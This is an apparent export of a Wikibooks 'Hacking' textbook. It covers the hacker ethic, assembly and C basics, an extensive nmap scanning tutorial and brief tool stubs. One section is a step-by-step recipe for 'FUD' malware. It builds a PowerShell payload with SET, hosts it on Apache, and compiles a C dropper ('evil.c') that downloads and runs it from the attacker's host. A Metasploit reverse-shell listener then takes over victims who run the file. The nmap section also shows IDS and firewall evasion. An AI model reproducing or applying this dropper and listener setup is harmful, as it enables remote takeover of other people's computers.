C Programming

From Wikibooks, open books for an open world
Jump to navigation Jump to search


Hacking

The current, editable version of this book is available in Wikibooks, the open-content textbooks collection, at
https://en.wikibooks.org/wiki/Hacking

Permission is granted to copy, distribute, and/or modify this document under the terms of the Creative Commons Attribution-ShareAlike 3.0 License.


Introduction

Hacking is the art of exploiting computers to get access to otherwise unauthorised information. Now that the world is using IT systems to gather, store and manipulate important information there is also a need to make sure that data is secure. However, no system is without its problems. Holes are often present within security systems which, if exploited, allow hackers to gain access to this otherwise restricted information. This WikiBook aims to give you the information required to think like hackers, so as to be able to secure your systems and keep your information safe.

Hacking and security is a constantly updated and fast moving sector of the computing industry and, as such, it is vital that you are up to date with all the details (including the latest exploits, patches and more).

It is important that hackers also follow the Hacker Ethic.

We suggest you take notes over the many core principals that will be discussed here, and if you'd rather print this book, we highly advise you do. Be sure you have paper and ink before attempting to print.



Introduction/Conventions

Conventions used in this Wikibook:

Italic
Used for file names and directory names. Also used to introduce new terms.
Constant width
Used to indicate commands, command lines, and command line switches.
Constant width italic
Used to indicate user-defined input; the user creates the text.
Constant width bold
Used in interactive examples to indicate literal user input.
Preformatted text blocks
Used for code blocks and multi-line shell output examples where whitespace matters
[ ]
Brackets surround optional inputs; omit the brackets when supplying these inputs.



Introduction/The hacker ethic

It is important that hackers follow The Hacker Ethic in the same way that it is important that police follow their code of conduct. An abuse of skill within the hacking world causing harm to others. Remember: It is almost impossible to gain respect at the expense of others.

The Original Ethic[edit]

Back when computers just started to reach universities and students had access to open systems, curious users began to show a certain disregard for the rules. These users would enter areas of the system without authorization, gaining access to privileged resources. With no Internet and no copies of Hacking Exposed or Security Warrior to assist them, they had to figure out how to enter the systems on their own.

Although these young students represented the first hackers, they had no malicious intent; they simply wanted knowledge, information, a deeper understanding of the systems which they had access to. To justify and eventually distinguish their efforts, the hacking community developed The Hacker Ethic as a core part of their subculture. The Hacker Ethic states two basic principles:

  • Do no damage.
  • Make no one pay for your actions.

These two principles fall hand in hand. The original hackers had an intention to learn about the systems they invaded, not to destroy them or steal valuable confidential information. They wanted to know how they worked, their flaws, their strengths, interesting functions of their design. They had no authorization; at the time, they made up for this by making a point of neither interfering with anyone's work nor costing anyone any money in the process of exploring the system.

Unfortunately this mantra does not provide a fully effective cover for your actions. Even disregarding the legal ramifications, such as the Computer Fraud and Abuse Act of 1986, your actions will have devastating unintentional consequences if not carefully controlled. Robert Morris created the Morris Worm to gauge the size of the Internet harmlessly; unfortunately, it loaded down the systems it infected due to exponential re-infection, causing tens of millions of dollars of financial damage. You must always remember to carefully consider the short and long term impact of your actions on any system.

Today's Ethic[edit]

Today we need to add one more rule to The Hacker Ethic, a rule that we should have added long ago. The Morris Worm illustrates why this rule exists, even beyond legality.

  • Always get permission ahead of time.

Please remember to always get permission before acting. Your actions cause a major disruption to the targets you attack. Networks become slow, servers crash or hang, and you create spurious log entries. Any institution with a useful IA sector will notice your attack and panic, believing you to have malicious intent; they will invariably expend resources searching for back doors and trying to determine what confidential information you stole. All of this, even if you don't get caught, demands that you acquire permission ahead of time.

You always have authorization to hack into servers you own; likewise, if you participate in a Capture the Flag game or as Red Cell in a Red vs Blue competition, you implicitly have the right to hack into whatever you can get your hands on. In all other cases, you need to ask the owners of the machines for authorization; you can even ask them to pay for it, selling your services as penetration tests and giving them a comprehensive outline of their network's vulnerabilities and proper mitigation steps to improve their security. As long as you have permission ahead of time, and you remember the first two rules of The Hacker Ethic, you can do as you please with the network and the affected machines.



Background knowledge

Required Knowledge For Hacking

Some background knowledge that is required to begin learning are as follows:
  1. Knowledge of a computer's inner workings; such as what a CPU is, and furthermore what RAM does, (etc).
  2. Programming experience. A good place to start would be C, C++, or Python.
  3. A desire to learn and lots of motivation to keep going.



Background knowledge/Computer architecture/A glimpse at assembly

An assembly (or assemblerlanguage, often abbreviated asm, is a low-level programming language for a computer, or other programmable device, in which there is a very strong (generally one-to-one) correspondence between the language and the architecture's machine code instructions. Each assembly language is specific to a particular computer architecture. In contrast, most high-level programming languages are generally portable across multiple architectures but require interpreting or compiling. Assembly language may also be called symbolic machine code.

Assembly language is converted into executable machine code by a utility program referred to as an assembler. The conversion process is referred to as assembly, or assembling the source codeAssembly time is the computational step where an assembler is run.

Assembly language uses a mnemonic to represent each low-level machine instruction or opcode, typically also each architectural registerflag, etc. Many operations require one or more operands in order to form a complete instruction and most assemblers can take expressions of numbers and named constants as well as registers and labels as operands, freeing the programmer from tedious repetitive calculations. Depending on the architecture, these elements may also be combined for specific instructions or addressing modes using offsets or other data as well as fixed addresses. Many assemblers offer additional mechanisms to facilitate program development, to control the assembly process, and to aid debugging.

Further Reading[edit]



Background knowledge/Computer architecture/6502 assembly

6502 assembly contains a grand total of 151 valid opcodes; we can ignore the 105 undefined opcodes that some sources reference. Because of this small set, 6502 assembly language allows us to quickly conjure hypothetical machines based on non-existent hardware, define memory mappings for this hardware, and then proceed to define simple programs for the hardware.

This page of the Hacking Wikibook takes advantage of this to submerge the reader deeper into the guts of a bare CPU; although other CPUs have different instruction sets, the core function of operating flags, registers, memory, and the stack remain the same. More advanced CPUs utilize protected memory; but even then, the function of delivering and handling a signal matches closely with the function of delivering and handling an interrupt.

Further reading[edit]



Background knowledge/Computer architecture/C programming

Warning: Display title "C Programming" overrides earlier display title "Hacking/Required Knowledge".

While Assembly gets right down to the core, sometimes higher-level languages can get jobs done a lot faster. Here we will be looking at the one of the most useful programming languages, and using it against our victims in an attempt at exploitation.

The C programming language was created by Dennis Ritchie and Brian Kernighan, respectively. This language is not object-oriented, just like Assembly, and do not expect to have this language mastered; just because you're a god at C++, doesn't mean you can write in this.

Speaking of writing the language, let's take a quick look at reading it.

Input and Output Example[edit]

Just to quickly illustrate this language's simple features, we'll start by looking at an example application. It will prompt you to "Enter an integer", and then print whatever number you typed, back to you.

#include <stdio.h>
// This is a single-line comment. This is ignored when the code is compiled/run.
int main()
{
  int a;
  printf("Enter an integer\n"); // Prints text to the screen
  scanf("%d", &a);              // Reads user input, and sends the data to the integer 'a'
  printf("Integer that you have entered is %d\n", a); // %d (decimal) tells it to add the integer 'a' where it had been typed
  return 0;
}
Output:
Enter an integer
99
Integer that you have entered is 99

Process returned 0 (0x0)  execution time : 1.949 s
Press any key to continue

Many more examples of this language can be found here.

Powershell Attack Vector FUD W/ Metasploit & SET[edit]

Now I will give a tutorial for making a Powershell attack vector with SET on Kali Linux. You can still follow this if you have setoolkit and gcc.

This will give you an idea of how easy a good FUD can be made using the C language and it's appropriate compiler: gcc.

Creating the payload with SET[edit]

To create the payload, we first need to type the following on a root-privileged terminal:

setoolkit

After giving it time to load, it will present six options. Press '1', and enter to select "Social Engineering Attacks". Then more options will be shown, just key '9' and then hit enter to select the "Powershell Attack Vectors" option. Here it will ask us about an option for the type of Powershell attack vector. We will hit '1' for the "Alphanumeric Shellcode Injector".

  1. Here it will ask for the attacker's LHOST, simply copy/paste your IP address into the box. (Tip: ifconfig will show all your network interfaces, including IP)
  2. Next, it will ask for your LPORT. This time, you can either leave it to it's default (located inside those brackets) by hitting enter, or you can type a random one, but be sure and remember it.
  3. Finally, it will ask if we want it to start a listener for us. Skip this, we can easily do this later.
  4. It will then create a file at /root/.set/reports/powershell which you should move to your desktop.

Deploying our payload to the Apache server[edit]

Now it would be appropriate to upload our new payload to an Apache service, so we can get our C program to download and run on the victim's Powershell.

  1. First, we will move our x86_powershell_injection.txt to /var/www/html/payload.txt so Apache can find it.
  2. Next we start Apache with the following command: service apache2 start

Great, now we're ready to make the virus.

Creating the FUD with C[edit]

First, open a file named "evil.c" on your Desktop with Vim or Nano. Fill it with the following C source code:
1 #include <stdio.h>
2 int main()
3 {
4     system("powershell.exe \"IEX ((new-object net.webclient).downloadstring('YOURLHOSTHERE/payload.txt')\"");
5     return 0;
6 }
Remember to change "YOURLHOSTHERE" with the LHOST you used when creating the payload in SET.

Now we will compile the evil.c file with gcc:

gcc ~/Desktop/evil.c -o ~/Desktop/evil.exe

Now that we've compiled our program into a runnable file, we can start our listener.

Starting the listener[edit]

Now we can start the Metasploit framework, let's type:

msfconsole

After it loads, type:

use multi/handler

Now we can set these options, like I listed below:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 1.1.1.1
set LPORT 443

Obviously, like before, change the LHOST and LPORT to the values you used when making the payload in SET.

Now you can type the following to start the listener:

exploit

Now, when someone runs your evil.exe file you can get a session.

Opening sessions[edit]

If a session doesn't open automatically, you can type the following to list the number of sessions including their numbers:

sessions -l

And finally, to open a session:

sessions -i 1

Final notes[edit]

Please remember that this exploit will not work unless the victim is on your LAN. You can test this on victims over the internet by trying one of the options:

  • Hamachi (or others)
  • VPN
  • Port forwarding



Tools

Listed in the subcategories, are the various differentiating hacking tools that will be very useful when you learn to harness their power(s).

External Links[edit]



Tools/Network

Network tools allow you to perform network analysis. These tools include packet construction tools, vulnerability scanners, service analysis. We don't discuss honeypots and intrusion detection/prevention tools here, not in much depth anyway; you only need to know how to penetrate them for our purposes. A companion Wikibook will discuss Anti-Hacking.

Also See[edit]



Tools/Network/Nmap

nmap being used by Trinity in The Matrix to detect ssh running on a vulnerable node before launching an attack on the sshv1 CRC32 flaw and gaining root to shut down the power grid.

Hacker Fyodor (Gordon Lynn) wrote nmap to assist in port scanning and network analysis. He published the original source code in Phrack Magazine, Volume 7, Issue 51, Article 11, and now maintains the tool at Insecure.org. Security experts all over the world use nmap for simple network checks, detecting open ports and service versions; the NSA keeps a list of security tools and current versions—including nmap, Snort, and Nessus—up on the big board.

nmap does not only detect open ports; it detects services and operating system versions as well. You can use nmap to scan a default range of ports, or a specific subset; it can scan a single host, a range, or a set; and it can find out if hosts are up or down. nmap can become a powerful tool in the hands of a skilled user, for good or for evil.

The nmap network scanning tool supplies a diverse set of options to control its behavior. It can scan multiple hosts and host ranges; utilize various scanning techniques; identify operating systems and service versions; and even perform stealth scanning to avoid triggering certain IDS and IPS utilities.

Basic use[edit]

First, let's cover some basic use of nmap. You should at the very least know how to scan hosts and check for specific ports; these fundamentals will show you what's open on the target network.

Scanning hosts[edit]

Basic use of nmap just involves scanning a target IP address or domain name. For example:

bluefox@ice-ldap:~$ nmap webserv1

Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2007-04-01 15:52 EDT
Interesting ports on webserv1 (192.168.30.11):
Not shown: 1644 closed ports, 28 filtered ports
PORT     STATE SERVICE
21/tcp   close  ftp
22/tcp   close  ssh
80/tcp   close  http
111/tcp  close  rpcbind
199/tcp  close  smux
443/tcp  open  https
1008/tcp close  ufsd

Nmap finished: 1 IP address (1 host up) scanned in 15.142 seconds

In this mode of operation, nmap shows the open ports and the common service carried on that port. nmap will not show services moved to other ports accurately; http on port 21 will read as ftp, for example.

You can specify multiple hosts on nmap's command line as well:

bluefox@ice-ldap:~$ nmap dbserv1 webserv1

Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2007-04-01 15:56 EDT
Interesting ports on 192.168.40.11:
Not shown: 1667 closed ports
PORT     STATE    SERVICE
22/tcp   close     ssh
135/tcp  filtered msrpc
136/tcp  filtered profile
137/tcp  filtered netbios-ns
138/tcp  filtered netbios-dgm
139/tcp  filtered netbios-ssn
199/tcp  open     smux
445/tcp  filtered microsoft-ds
1720/tcp filtered H.323/Q.931
3306/tcp open     mysql
3389/tcp filtered ms-term-serv
5631/tcp filtered pcanywheredata

Interesting ports on webserv1 (192.168.30.11):
Not shown: 1644 closed ports, 28 filtered ports
PORT     STATE SERVICE
21/tcp   close  ftp
22/tcp   close  ssh
80/tcp   close  http
111/tcp  close  rpcbind
199/tcp  close  smux
443/tcp  open  https
1008/tcp close  ufsd

Nmap finished: 2 IP addresses (2 hosts up) scanned in 17.001 seconds

As you can see, my Web server exposes too many ports and my MySQL server has a weak firewall; I ran this scan from a DMZ, which has to go through the firewall to enter my network. Here we can see the power of nmap: I know I should switch my firewall to default deny and allow only the services needed through explicitly. nmap identifies filtered ports by a lack of response; closed ports send a TCP packet with a RST flag when you try to open them, indicating the server received the packet and would have allowed you to connect to any service listening on that port.

A useful option on the command line to nmap is the "Verbose" switch. Including -v or -vv on the command line will increase the amount of output nmap generates.

bluefox@ice-ldap:~$ nmap -vv webserv1

Advanced target specification[edit]

nmap allows you to use IP address targets for various sets and ranges based on a simple syntax.

  • x-y - Specify from x-y. nmap 192.168.0-1.1-2 will scan 192.168.0.1, 192.168.1.1, 192.168.0.2, and 192.168.1.2
  • * - Replaced with 0-255. Your shell will probably emit a bunch of file names, so just use 0-255.
  • x,y - Specify x and y. nmap 192.168.0.1,2,4 will scan 192.168.0.1, 192.168.0.2, and 192.168.0.4. Further, nmap 192.168.0.1-2,4 will scan the same set of hosts.
  • /n - Scan CIDR notated subnets. nmap 192.168.0.0/16 operates as nmap 192.168.0-255.0-255 for example.

You can combine these notations in any form you want. For example, if you wanted to scan a few subnets on 192.168.0.0/12, you could use nmap 192.168.0,16,64,96.0/4. Usually you will not want to do anything this drastic, and can stick to a single host; however, if you need it, you should know how to do it. Remember, nmap maps networks, not just hosts.< " Vs " ss1 area title yahoo<>facebook<>ip address<>

Scanning ports[edit]

  • Switches: -p

Sometimes you don't need to know everything open on a host, sometimes you just want to make sure proFTPd and Apache are up and the SMTP server hasn't died, and see if SSH is listening. For these situations, you can specify ports to scan. Port specification can be manipulated in the same way as target specification, using the x-y and x,y notations.

~$ nmap -p21-22,25,80,443 webserv1

Scanning ports including Service Version (-V)[edit]

  • Switches: -p and -V (Service version)

Includes Service versions for scanned ports:

~$ nmap -sV -p21-22,25,80,443 host1.example.com

Basic Network ping Scanning[edit]

  • Switches: -sn, previosly and now deprecated -sP

Basic network ping scanning for discovering host responding to icmp requests (ping).

~$ nmap -sn 192.168.0.*

Service Scans[edit]

  • Switches: -sV, -A

nmap has the ability to do service scans and RPC grinding; in other words, it can tell you what high level protocol, application, version, version of libssl if the service supplies an [(SSL)] connection, etc., listens on a port instead of matching the port number to the common service. nmap also uses an RPC grinder, which makes RPC connections to ports running an RPC service; typically a single RPC portmapper port tells you which ports run RPC, but if the firewall blocks that then nmap will find it itself.

Let's take a look first at a scan against the server behind me. This server provides a profoundly good example because I've configured it to let me poke holes in my college's firewall, and thus it looks really strange. A typical nmap scan comes out well enough:

bluefox@icebox:/home/shared/qemu$ nmap 192.168.1.40

Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-03 20:58 EDT
Interesting ports on 192.168.1.40:
Not shown: 1688 closed ports
PORT    STATE SERVICE
21/tcp  close  ftp
22/tcp  close  ssh
53/tcp  filter  domain
80/tcp  close  http
81/tcp  close  hosts2-ns
139/tcp close  netbios-ssn
389/tcp close  ldap
443/tcp open  https
445/tcp close  microsoft-ds

Nmap finished: 1 IP address (1 host up) scanned in 0.971 seconds

The above shows FTP, DNS, hosts2-ns, HTTP/SSL, and Microsoft Directory Services (Active Directory). We can take a closer look with an nmap service scan using -sV. The below output gives us something quite different.

bluefox@icebox:/home/shared/qemu$ nmap -sV 192.168.1.40

Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-03 21:01 EDT
Interesting ports on 192.168.1.40:
Not shown: 1688 closed ports
PORT    STATE SERVICE     VERSION
21/tcp  open  ssh         OpenSSH 4.3p2 Debian 5ubuntu1 (protocol 2.0)
22/tcp  open  ssh         OpenSSH 4.3p2 Debian 5ubuntu1 (protocol 2.0)
53/tcp  open  ssh         OpenSSH 4.3p2 Debian 5ubuntu1 (protocol 2.0)
80/tcp  open  http        Apache httpd 2.0.55 ((Ubuntu) PHP/5.1.6)
81/tcp  open  http        Apache httpd 2.0.55 ((Ubuntu) PHP/5.1.6)
139/tcp open  netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
389/tcp open  ldap        OpenLDAP 2.2.X
443/tcp open  ssh         OpenSSH 4.3p2 Debian 5ubuntu1 (protocol 2.0)
445/tcp open  netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
Service Info: OS: Linux

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 1 IP address (1 host up) scanned in 13.747 seconds

So it seems this server really has Apache serving http on two ports; OpenSSH serving over the FTP, DNS, and HTTPS ports; and Samba providing SMB connections. Further, we can see that the server uses SSH 2.0 protocol on OpenSSH 4.3p2 Debian 5ubuntu1, a native Ubuntu .deb rather than a custom build. We can guess with relative accuracy that this server runs Ubuntu, even without an OS scan; either that or the administrator really doesn't have a clue what he's doing, or has managed to change banners with a rewrite proxy to fool us.

Worth note, the -A switch activates service scanning as well.

Advanced Port Scans[edit]

You can run many types of advanced port scans with nmap. Aside from the standard connect() port scan, nmap requires root access to perform these advanced scans because it needs to create raw sockets and construct raw TCP/IP packets.

Using nmap with root (-A)[edit]

The nmap program obtains different information with and without root access. With root access, nmap can perform advanced TCP/IP scans; operating system detection; and MAC address identification.

First, let's check out a normal user utilizing nmap with the -A option. nmap -A activates operating system and service scanning, in the same way as nmap -O -sV. Operating system detection requires root access, so OS detection won't work at all. I've performed the below scan against a Linksys WRT54G wireless router.

bluefox@icebox:~$ nmap -A -p80,1 192.168.1.1

Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-04 12:18 EDT
Interesting ports on 192.168.1.1:
PORT   STATE  SERVICE VERSION
1/tcp  closed tcpmux
80/tcp open   http    Linksys wireless-G WAP http config (Name Icelink)
Service Info: Device: WAP

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 1 IP address (1 host up) scanned in 6.199 seconds

As you can see, nmap simply skips the OS detection phase. When we put nmap into operation as root, however, we see that it can also look up a lot more information. Below, we see it discovered the MAC address and identified the vendor owning that MAC space; the operating system and details about the OS; the uptime; and the network distance. It also gave us a device type; nmap sees a Linux OS used for desktops, wireless routers, or network storage, and thus classifies the device as either general purpose, WAP, or storage.

bluefox@icebox:~$ sudo nmap -A -p80,1 192.168.1.1

Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-04 12:18 EDT
Interesting ports on 192.168.1.1:
PORT   STATE  SERVICE VERSION
1/tcp  closed tcpmux
80/tcp open   http    Linksys wireless-G WAP http config (Name Icelink)
MAC Address: 00:13:10:7D:06:C6 (Cisco-Linksys)
Device type: general purpose|WAP|storage-misc
Running: Linux 2.4.X, Linksys Linux 2.4.X, Asus Linux 2.4.X, Maxtor Linux 2.4.X
OS details: Linux 2.4.20 - 2.4.32, Linux-based embedded device (Linksys WRT54GL WAP,
 Buffalo AirStation WLA-G54 WAP, Maxtor Shared Storage Drive, or Asus Wireless Storage
 Router)
Uptime: 29.285 days (since Tue Mar  6 04:28:28 2007)
Network Distance: 1 hop
Service Info: Device: WAP

OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 1 IP address (1 host up) scanned in 7.833 seconds

nmap becomes much more powerful with root access; however, for security reasons you should not haphazardly give nmap the SUID permission. You can allow users to run nmap specifically via sudo, but be aware that anything that allows a user to gain root access—SUID bits, sudo, etc.—represents a security risk.

Operating system detection[edit]

  • Switches: -O

The -O switch enables nmap operating system detection. OS detection attempts to use characteristics of the target's TCP/IP stack to fingerprint the remote operating system; usually it can identify Linux, Windows, and BSD, and find a general range of versions and families like Windows NT/XP or 95/98/ME. A typical OS Detection scan looks like the below.

bluefox@ice-ldap:~$ sudo nmap -O 192.168.1.105 -P0

Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2007-04-05 18:43 EDT
Warning:  OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port
Interesting ports on 192.168.1.105:
Not shown: 1677 filtered ports
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0C:76:96:A5:DC (Micro-star International CO.)
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP SP2

Nmap finished: 1 IP address (1 host up) scanned in 32.272 seconds

TCP connect() Scan[edit]

  • Switches: -sT

nmap allows a TCP connect() scan in all cases, administrative access or not; when you specify other scan types without root access, nmap automatically substitutes this scan type.

In this scanning mode, nmap opens a connection to the port in the same way a Web browser or FTP client does and checks to see how the TCP/IP stack responds. The following results arise from this scan:

  • open: nmap was able to complete a connection, and then closed the port.
  • closed: nmap tried to connect and got an error informing it that the port was closed (the OS got a RST packet).
  • filtered: nmap tried to connect and the OS gave it some other error, like host or port unreachable or connection time-out.

TCP connect() scans work with all privilege levels, but can execute slowly and produce excess packets. They also usually create more logs on the target, and can crash really poorly programmed services.

TCP SYN Scan[edit]

  • Switches: -sS

The nmap TCP SYN scan uses a simple SYN packet to connect to a port to determine its status. nmap uses this by default whenever it has raw socket privileges.

The TCP SYN scan sends a SYN packet as if opening a connection, and checks the result. The following statuses come from this test:

  • open: nmap got a SYN/ACK from the host on that port. nmap does not have to take further action; the OS has no record of the connection, and responds to the SYN/ACK with a RST, tearing down the connection on the target.
  • closed: nmap got a RST from the host on that port.
  • filtered: nmap got something else, or nothing.

TCP SYN scans execute very quickly, create fewer logs, and act in a more stealthy manner.

Scanning Firewalls[edit]

You can use nmap to penetrate firewalls as well. nmap can perform scans useful for determining whether a firewall uses stateful filtering or not; and which ports a firewall allows through. You can scan targets behind the firewall with this and discover the firewall rules, allowing more targeted scans and possibly evading firewall logging.

TCP ACK Scan[edit]

  • Switches: -sA

Stealth Scans[edit]

Unfortunately, if you scan through certain IPS or IDS machines, you get loads of fluff from proxy ports. This presents a minor annoyance. I had to trim below output, as it contained thousands of lines of text. I've obscured the host I scanned below; I had chosen a live machine on the Internet to scan for this, because I don't have the IPS hardware they use.

Starting Nmap 4.10 ( http://www.insecure.org/nmap/ ) at 2007-04-01 16:14 EDT
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing Connect() Scan
Connect() Scan Timing: About 20.95% done; ETC: 16:14 (0:00:09 remaining)
Interesting ports on %%% (%%%):
Not shown: 861 closed ports
PORT      STATE    SERVICE
2/tcp     open     compressnet
3/tcp     open     compressnet
7/tcp     open     echo
10/tcp    open     unknown
12/tcp    open     unknown
14/tcp    open     unknown
15/tcp    open     netstat
18/tcp    open     msp
19/tcp    open     chargen
20/tcp    open     ftp-data
21/tcp    open     ftp
25/tcp    open     smtp
27/tcp    open     nsw-fe
28/tcp    open     unknown
29/tcp    open     msg-icp
30/tcp    open     unknown
31/tcp    open     msg-auth
32/tcp    open     unknown
33/tcp    open     dsp
34/tcp    open     unknown
35/tcp    open     priv-print
38/tcp    open     rap
39/tcp    open     rlp
40/tcp    open     unknown
41/tcp    open     graphics
43/tcp    open     whois
47/tcp    open     ni-ftp
56/tcp    open     xns-auth
58/tcp    open     xns-mail
59/tcp    open     priv-file
60/tcp    open     unknown
64/tcp    open     covia
66/tcp    open     sql*net
.....
134/tcp   open     ingres-net
135/tcp   filtered msrpc
136/tcp   filtered profile
137/tcp   filtered netbios-ns
138/tcp   filtered netbios-dgm
139/tcp   filtered netbios-ssn
141/tcp   open     emfis-cntl
143/tcp   open     imap
145/tcp   open     uaac
147/tcp   open     iso-ip
148/tcp   open     cronus
149/tcp   open     aed-512
150/tcp   open     sql-net
155/tcp   open     netsc-dev
.....
27001/tcp open     flexlm1
27002/tcp open     flexlm2
27005/tcp open     flexlm5
27007/tcp open     flexlm7
27008/tcp open     flexlm8
27009/tcp open     flexlm9
27010/tcp open     flexlm10
27374/tcp open     subseven
27665/tcp open     Trinoo_Master
31337/tcp filtered Elite
32775/tcp open     sometimes-rpc13
32777/tcp open     sometimes-rpc17
32779/tcp open     sometimes-rpc21
32787/tcp open     sometimes-rpc27
38037/tcp open     landesk-cba
43188/tcp open     reachout
47557/tcp open     dbbrowse
50000/tcp open     iiimsf
54320/tcp open     bo2k
61441/tcp open     netprowler-sensor
65301/tcp open     pcanywhere

Nmap finished: 1 IP address (1 host up) scanned in 23.251 seconds

Fortunately, you can perform a stealth scan to evade this; unfortunately, stealth scans take an order of magnitude longer. Usually a polite scan will do the trick, it causes only 150 packets/minute.

~$ nmap -T polite %%%

The -T option takes one of five arguments, given by name or number. These are:

  • paranoid (0) - No parallel scanning. 5 minutes between sending packets.
  • sneaky (1) - No parallel scanning. 15 seconds between sending packets.
  • polite (2) - No parallel scanning. 0.4 seconds between sending packets.
  • normal (3) - Default scanning. Tries to be very fast without overloading the network.
  • aggressive (4) - Faster than normal, but loads the network.
  • insane (5) - Parallel scans, times out hosts in 15 minutes, won't wait more than 0.3 seconds for an individual probe. Loses a lot of information.

nmap also provides options to control scan time-outs. Combining these with the above provides more fine-tuned scans, for example a scan doing 100 packets per minute:

~$ nmap -T sneaky --scan_delay 600

Let's try the above scan again, politely.

bluefox@icebox:~$ nmap -T polite

Starting Nmap 4.20 ( http://insecure.org ) at 2007-04-02 19:52 EDT
Interesting ports on %%% (%%%):
Not shown: 1658 closed ports, 26 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
143/tcp  open  imap
389/tcp  open  ldap
443/tcp  open  https
1026/tcp open  LSA-or-nterm
1027/tcp open  IIS
1433/tcp open  ms-sql-s
3389/tcp open  ms-term-serv
8000/tcp open  http-alt
9999/tcp open  abyss

Nmap finished: 1 IP address (1 host up) scanned in 693.146 seconds

As we can see, this scan takes 693 seconds instead of 23, 30 times longer.

External Links[edit]

See also[edit]

  • nping packet generation, response analysis and response time measurement



Tools/Network/Nessus/OpenVAS

OpenVAS evolved from Nessus when Tenable put Nessus under a restrictive license. Tenable had some trouble with people rebranding Nessus as their own product, and unfortunately had to make this move. As a result, OpenVAS appeared.

OpenVAS resides at http://www.openvas.org/; the project suffered an infrastructure problem as soon as it opened, but the mailing lists show healthy development activity and the project may very well take off.



Tools/Network/hping3

hping3 replaces hping2 completely with a powerful TCL scripting engine and an hping2 compatible command line. You can find hping3 at http://hping.org/.



Tools/Password crackers/John the ripper

John the Ripper is an invaluable tool when it comes to decrypting passwords. Jtr can only be used through command line, and only works with text files of the format user:hashedpassword.



Tools/Operating System/Kali Linux

Kali Linux is a opreating system for penetration testing.